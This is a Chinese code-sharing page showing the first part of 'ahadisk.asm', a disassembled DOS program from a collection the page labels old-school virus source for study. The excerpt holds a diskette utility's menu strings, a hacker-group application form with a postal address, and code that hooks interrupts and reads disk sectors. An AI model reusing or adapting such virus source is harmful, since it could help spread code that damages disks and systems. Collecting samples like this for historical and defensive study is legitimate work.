⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ahadisk.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 5 页
字号:
		db	 4Eh, 20h,0BAh,0BAh, 01h, 4Eh
		db	 20h,0BAh,0CCh, 01h, 0Ch,0CDh
		db	0D1h
		db	 01h, 15h,0CDh,0D1h, 01h, 11h
		db	0CDh
		db	0D1h, 01h, 19h,0CDh,0B9h,0BAh
		db	'  Diskette  '
		db	0B3h, 01h, 07h, 20h, 56h, 6Fh
		db	 6Ch, 75h, 6Dh, 65h, 01h, 08h
		db	 20h,0B3h, 01h, 05h, 20h, 4Eh
		db	 6Fh, 2Eh, 20h, 4Fh, 66h, 01h
		db	 06h, 20h,0B3h, 01h, 04h
		db	' Total Disk Space'
		db	 01h, 05h, 20h,0BAh,0BAh, 01h
		db	 05h, 20h, 4Eh, 6Fh, 2Eh, 01h
		db	 04h, 20h,0B3h, 01h, 04h
		db	' Serial Number'
		db	 01h, 04h, 20h,0B3h
		db	'  Bad Cluster(s) '
		db	0B3h, 01h
		db	8, ' In Bytes'
		db	 01h, 09h, 20h,0BAh,0C7h, 01h
		db	 0Ch,0C4h,0C5h, 01h, 15h,0C4h
		db	0C5h, 01h, 11h,0C4h,0C5h, 01h
		db	 19h,0C4h,0B6h
		db	0BAh, 01h, 0Ch, 20h
		db	0B3h, 01h, 15h
		db	 20h,0B3h, 01h, 11h, 20h,0B3h
		db	 01h, 19h, 20h,0BAh,0BAh, 01h
		db	 0Ch, 20h,0B3h, 01h, 15h, 20h
		db	0B3h, 01h, 11h, 20h,0B3h, 01h
		db	 19h, 20h,0BAh,0BAh, 01h, 0Ch
		db	 20h,0B3h, 01h, 15h, 20h,0B3h
		db	 01h, 11h, 20h,0B3h, 01h, 19h
		db	 20h,0BAh,0BAh, 01h, 0Ch, 20h
		db	0B3h, 01h, 15h, 20h,0B3h, 01h
		db	 11h
		db	20h
		db	0B3h, 01h, 19h, 20h,0BAh,0BAh
		db	 01h, 0Ch, 20h,0B3h, 01h, 15h
		db	 20h,0B3h, 01h, 11h, 20h,0B3h
		db	 01h, 19h, 20h,0BAh,0BAh, 01h
		db	 0Ch, 20h,0B3h, 01h, 15h, 20h
		db	0B3h, 01h, 11h, 20h,0B3h, 01h
		db	 19h, 20h,0BAh,0BAh, 01h, 0Ch
		db	 20h,0B3h, 01h, 15h, 20h,0B3h
		db	 01h, 11h, 20h,0B3h, 01h, 19h
		db	 20h,0BAh,0BAh, 01h, 0Ch, 20h
		db	0B3h, 01h, 15h, 20h,0B3h, 01h
		db	 11h, 20h,0B3h, 01h, 19h, 20h
		db	0BAh,0BAh, 01h, 0Ch, 20h,0B3h
		db	 01h, 15h, 20h,0B3h, 01h, 11h
		db	 20h,0B3h, 01h, 19h, 20h,0BAh
		db	0BAh, 01h, 0Ch, 20h,0B3h, 01h
		db	 15h, 20h,0B3h, 01h, 11h, 20h
		db	0B3h, 01h, 19h, 20h,0BAh,0BAh
		db	 01h, 0Ch, 20h,0B3h, 01h, 15h
		db	 20h,0B3h, 01h, 11h, 20h,0B3h
		db	 01h, 19h, 20h,0BAh,0CCh, 01h
		db	 0Ch,0CDh,0CFh, 01h, 15h,0CDh
		db	0CFh, 01h, 11h,0CDh,0CFh, 01h
		db	 19h,0CDh,0B9h,0BAh, 01h, 4Eh
		db	 20h,0BAh,0BAh, 01h, 15h
		db	 20h, 50h
		db	'ress Any Key To Return To Main M'
		db	'enu'
		db	 01h, 15h, 20h,0BAh,0BAh, 01h
		db	 4Eh, 20h,0BAh,0C8h, 01h, 4Eh
		db	0CDh,0BCh, 01h, 87h,0D0h, 1Fh
		db	 0Dh, 0Ah, 0Dh, 0Ah, 20h
		db	9 dup (20h)
		db	0ADh
		db	'aHa/nBa! Application Form!      '
		db	'                          ', 0Dh
		db	0Ah, 'What file is this?', 0Dh, 0Ah
		db	'                      Where Did '
		db	'you get it from?', 0Dh, 0Ah, '  '
		db	'                  Handle:', 0Dh, 0Ah
		db	'       Phone #:', 0Dh, 0Ah, '   '
		db	'   ', 0Dh, 0Ah, '               '
		db	'               List 3 boards whe'
		db	're you could be reached at:    ', 0Dh
		db	0Ah, 0Dh, 0Ah, '                 '
		db	'                           Can y'
		db	'ou HaCK?', 0Dh, 0Ah, '          '
		db	'                       List a fe'
		db	'w thigs you', 27h, 've hacked:', 0Dh
		db	0Ah, 0Dh, 0Ah, '                 '
		db	'            Ok! Send MoneY, pft,'
		db	' and this letter to:', 0Dh, 0Ah, ' '
		db	'                     Psycho', 0Dh
		db	0Ah, '        1340 W Irving', 0Dh
		db	0Ah, ' #229', 0Dh, 0Ah, '        '
		db	'  Chicago, IL', 0Dh, 0Ah, '   60'
		db	'613', 0Dh, 0Ah, '               '
		db	'                          Ok! No'
		db	'w, write about yourself:        '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'                                '
		db	'        ', 0Ch, 0
		db	'.'
		db	 80h, 3Eh, 2Dh, 02h, 00h, 74h
		db	 08h, 2Eh,0FEh, 0Eh, 2Dh, 02h
		db	0EBh, 09h, 90h
		db	 2Eh,0F6h, 06h, 2Eh, 02h, 80h
		db	 75h, 05h
loc_32:
		jmp	dword ptr cs:[195h]
loc_33:
		mov	word ptr cs:[1EAh],ax
		mov	al,0Bh
		out	20h,al			; port 20h, 8259-1 int command
		jmp	short $+2		; delay for I/O
		in	al,20h			; port 20h, 8259-1 int IRR/ISR
		and	al,0FEh
		mov	ax,word ptr cs:[1EAh]
		jz	loc_34			; Jump if zero
		jmp	short loc_32
loc_34:
		mov	word ptr cs:[1FCh],ax
		mov	word ptr cs:[1FEh],bx
		mov	word ptr cs:[208h],sp
		mov	word ptr cs:[20Eh],ss
		mov	word ptr cs:[20Ch],ds
		mov	word ptr cs:[210h],es
		mov	word ptr cs:[20Ah],bp
		mov	word ptr cs:[204h],si
		mov	word ptr cs:[206h],di
		mov	word ptr cs:[200h],cx
		mov	word ptr cs:[202h],dx
		mov	ds,word ptr cs:[1E2h]
		mov	ss,word ptr ds:[1DAh]
		mov	sp,word ptr ds:[1DCh]
		mov	es,word ptr ds:[1E4h]
		mov	bp,word ptr ds:[1E0h]
		mov	si,word ptr ds:[1D8h]
		mov	di,word ptr ds:[1DEh]
		mov	ax,word ptr ds:[1D0h]
		mov	bx,word ptr ds:[1D2h]
		mov	cx,word ptr ds:[1D4h]
		mov	dx,word ptr ds:[1D6h]
		jmp	dword ptr cs:[195h]
		mov	word ptr cs:[1F8h],ds
		mov	word ptr cs:[1F6h],ax
		mov	word ptr cs:[1FAh],bx
		mov	ds,cs:data_25
		mov	bx,keybd_flags_1_
		mov	ah,[bx]
		and	ah,0Fh
		cmp	ah,0Bh
		jne	loc_36			; Jump if not equal
		test	byte ptr cs:[22Eh],0C0h
		jz	loc_35			; Jump if zero
		test	byte ptr cs:[22Eh],40h	; '@'
		jz	loc_36			; Jump if zero
		or	byte ptr cs:[22Eh],20h	; ' '
		jmp	short loc_36
		db	90h
loc_35:
		or	byte ptr cs:[22Eh],80h
loc_36:
		mov	ax,word ptr cs:[1F6h]
		mov	ds,word ptr cs:[1F8h]
		mov	bx,word ptr cs:[1FAh]
		jmp	dword ptr cs:[199h]
		db	 2Eh, 80h, 3Eh, 2Fh, 02h, 00h
		db	 74h, 0Dh, 2Eh,0C6h, 06h, 2Fh
		db	 02h, 00h, 50h,0B0h, 66h,0E6h
		db	 20h, 58h,0CFh
loc_37:
		jmp	dword ptr cs:[19Dh]
		test	dl,80h
		jnz	loc_38			; Jump if not zero
		test	byte ptr cs:[22Eh],40h	; '@'
		jz	loc_38			; Jump if zero
		mov	word ptr cs:[1EAh],ax
		pop	ax
		pop	ax
		pop	ax
		or	ax,1
		push	ax
		sub	sp,4
		mov	ax,word ptr cs:[1EAh]
		mov	ah,80h
		iret				; Interrupt return
sub_2		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_6		proc	near
loc_38:
		jmp	dword ptr cs:[1A1h]
		mov	byte ptr ds:[22Eh],40h	; '@'
		call	sub_28
		jnc	loc_40			; Jump if carry=0
		clc				; Clear carry flag
loc_39:
		call	sub_11
		jmp	loc_121
loc_40:
		mov	ds,data_25
		test	byte ptr ds:dsk_motor_stat_,0Fh
		push	cs
		pop	ds
		jnz	loc_39			; Jump if not zero
		call	sub_22
		call	sub_23
loc_41:
		mov	ax,55Ch
		mov	cs:data_93,ax
		call	sub_21
		mov	data_112,70h		; 'p'
		call	sub_27
		call	sub_13
loc_42:
		mov	ah,0
		int	16h			; Keyboard i/o  ah=function 00h
						;  get keybd char in al, ah=scan
		cmp	al,1Bh
		je	loc_48			; Jump if equal
		cmp	al,0Dh
		je	loc_49			; Jump if equal
		cmp	ah,48h			; 'H'
		je	loc_50			; Jump if equal
		cmp	ah,50h			; 'P'
		je	loc_53			; Jump if equal
		and	al,0DFh
		cmp	al,50h			; 'P'
		je	loc_43			; Jump if equal
		cmp	al,52h			; 'R'
		je	loc_47			; Jump if equal
		cmp	al,45h			; 'E'
		je	loc_48			; Jump if equal
		cmp	al,53h			; 'S'
		je	loc_44			; Jump if equal
		cmp	al,46h			; 'F'
		je	loc_45			; Jump if equal
		cmp	al,54h			; 'T'
		je	loc_46			; Jump if equal
		call	sub_11
		jmp	short loc_42
loc_43:
		jmp	loc_137
loc_44:
		jmp	short loc_55
		db	90h
loc_45:
		jmp	loc_145
loc_46:
		jmp	loc_149
loc_47:
		jmp	loc_151
loc_48:
		jmp	loc_154
loc_49:
		mov	al,3
		mul	data_107		; ax = data * al
		add	ax,offset loc_43
		jmp	ax			;*Register jump
loc_50:
		mov	data_112,1Fh
		call	sub_27
		cmp	data_107,0
		je	loc_52			; Jump if equal
		dec	data_107
		sub	data_110,3
loc_51:
		mov	data_112,70h		; 'p'
		call	sub_27
		jmp	short loc_42
loc_52:
		mov	data_107,5
		mov	data_110,15h
		jmp	short loc_51
loc_53:
		mov	data_112,1Fh
		call	sub_27
		cmp	data_107,5
		je	loc_54			; Jump if equal
		inc	data_107
		add	data_110,3
		jmp	short loc_51
loc_54:
		mov	data_107,0
		mov	data_110,6
		jmp	short loc_51
loc_55:
		call	sub_19
		mov	data_190,3120h
		cmp	data_28,1
		jne	loc_56			; Jump if not equal
		mov	data_29,0
		jmp	short loc_60
		db	90h
loc_56:
		mov	dh,0Dh
		mov	dl,18h
		mov	si,232h
		call	sub_14
		call	sub_13
		mov	ah,0
		int	16h			; Keyboard i/o  ah=function 00h
						;  get keybd char in al, ah=scan
		cmp	al,1Bh
		jne	loc_57			; Jump if not equal
		jmp	loc_41
loc_57:
		cmp	al,0Dh
		je	loc_60			; Jump if equal
		and	al,0DFh
		sub	al,41h			; 'A'
		jge	loc_59			; Jump if > or =
loc_58:
		call	sub_11
		jmp	short loc_55
loc_59:
		cmp	al,data_28
		jge	loc_58			; Jump if > or =
		mov	data_29,al
		add	al,41h			; 'A'
		mov	byte ptr ds:[24Eh],al	; ('A')
		mov	data_183,al
		mov	data_188,al
loc_60:
		call	sub_19
		call	sub_37
		test	byte ptr [bx],1
		jz	loc_63			; Jump if zero
		mov	dh,10h
		mov	dl,14h
		test	byte ptr [bx],2
		jnz	loc_61			; Jump if not zero
		mov	si,251h
		jmp	short loc_62
		db	90h
loc_61:
		mov	si,27Eh
loc_62:
		call	sub_14
		call	sub_13
		mov	al,31h			; '1'
		mov	data_102,al
		mov	al,[si-3]
		mov	data_103,al
		mov	data_89,1331h
		call	sub_16
		and	byte ptr [si-3],0FEh
		or	[si-3],al
		xor	al,1
		xor	data_31,ax
loc_63:
		mov	ax,data_31
		call	sub_39
loc_64:
		call	sub_20
		mov	dh,0Bh
		mov	dl,14h
		mov	si,2ABh
		call	sub_14
		call	sub_38
		cmp	data_101,0
		je	loc_69			; Jump if equal
		mov	ax,word ptr ds:[137h]
		mov	bx,ax
		cmp	data_101,1
		jne	loc_65			; Jump if not equal
		xchg	bh,bl
		xor	bl,bl			; Zero register
		sub	al,30h			; '0'
		jmp	short loc_67
		db	90h
loc_65:
		sub	al,27h			; '''
		cmp	al,0Ah
		jg	loc_64			; Jump if >
		jz	loc_66			; Jump if zero
		xor	al,al			; Zero register
loc_66:
		sub	ah,30h			; '0'
		add	al,ah
		cmp	al,0Bh
		jg	loc_64			; Jump if >
loc_67:
		cmp	al,0
		je	loc_64			; Jump if equal
		mov	data_96,al
		or	bl,20h			; ' '
		cmp	bl,30h			; '0'
		jne	loc_68			; Jump if not equal
		mov	bl,20h			; ' '
loc_68:
		mov	data_191,bx
		mov	data_182,bx
loc_69:
		mov	data_100,0F5h
		mov	data_95,0
		mov	data_99,0
		call	sub_20
		mov	dh,0Ah
		mov	dl,18h
		mov	si,2DAh
		call	sub_14
		mov	dh,0Ch
		mov	dl,13h
		mov	si,2FBh
		call	sub_14
		call	sub_13
loc_70:
		mov	ah,0
		int	16h			; Keyboard i/o  ah=function 00h
						;  get keybd char in al, ah=scan
		cmp	al,0Dh
		je	loc_72			; Jump if equal
		cmp	al,1Bh
		jne	loc_71			; Jump if not equal
		jmp	loc_41
loc_71:
		call	sub_11
		jmp	short loc_70
loc_72:
		mov	data_82,1525h
		cli				; Disable interrupts
		pushf				; Push flags
		push	cs
		mov	ax,201h
		mov	bx,28E9h
		mov	cx,1
		mov	dl,data_29
		xor	dh,dh			; Zero register
		call	sub_6
		jnc	loc_78			; Jump if carry=0
		clc				; Clear carry flag
		test	ah,80h
		jz	loc_78			; Jump if zero
		call	sub_11
		xor	cx,cx			; Zero register

locloop_73:
		loop	locloop_73		; Loop if cx > 0

		call	sub_11
		call	sub_56
		call	sub_20
		mov	dh,0Ah
		mov	dl,20h			; ' '
		mov	si,3DAh
		call	sub_14
loc_74:
		mov	dh,0Eh
		mov	dl,20h			; ' '
		mov	si,40Fh
		call	sub_14
		call	sub_13
loc_75:
		mov	ah,0
		int	16h			; Keyboard i/o  ah=function 00h
						;  get keybd char in al, ah=scan
		cmp	al,1Bh
		je	loc_77			; Jump if equal
		and	al,0DFh
		cmp	al,52h			; 'R'
		jne	loc_76			; Jump if not equal
		jmp	data_82
loc_76:
		cmp	al,41h			; 'A'
		je	loc_77			; Jump if equal
		call	sub_11
		jmp	short loc_75
loc_77:
		jmp	loc_135
loc_78:
		call	sub_24
		call	sub_61
		or	byte ptr ds:[22Eh],80h
		cli				; Disable interrupts
		call	sub_7
loc_79:
		call	sub_52
		call	sub_60
		mov	data_82,1596h
		call	sub_64
		test	data_73,0C0h
		jz	loc_80			; Jump if zero
		call	sub_64
		test	data_73,0C0h
		jz	loc_80			; Jump if zero
		jmp	loc_123
loc_80:
		call	sub_74
		test	data_73,0C0h
		jz	loc_81			; Jump if zero
		jmp	short loc_83
		db	90h
loc_81:
		cmp	byte ptr ds:[230h],0
		je	loc_82			; Jump if equal
		mov	ax,word ptr ds:[243Dh]
		cmp	data_218,ax
		jne	loc_82			; Jump if not equal
		mov	ax,word ptr ds:[243Fh]
		cmp	data_219,ax
		jne	loc_82			; Jump if not equal
		jmp	loc_117
loc_82:
		cmp	byte ptr data_214,0EBh
		jne	loc_83			; Jump if not equal
		cmp	data_217,200h
		jne	loc_83			; Jump if not equal
		mov	data_84,1626h
		jmp	short loc_84
		db	90h
loc_83:
		mov	data_84,1623h
loc_84:
		call	sub_77
		jnc	loc_85			; Jump if carry=0
		jmp	loc_123
loc_85:

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -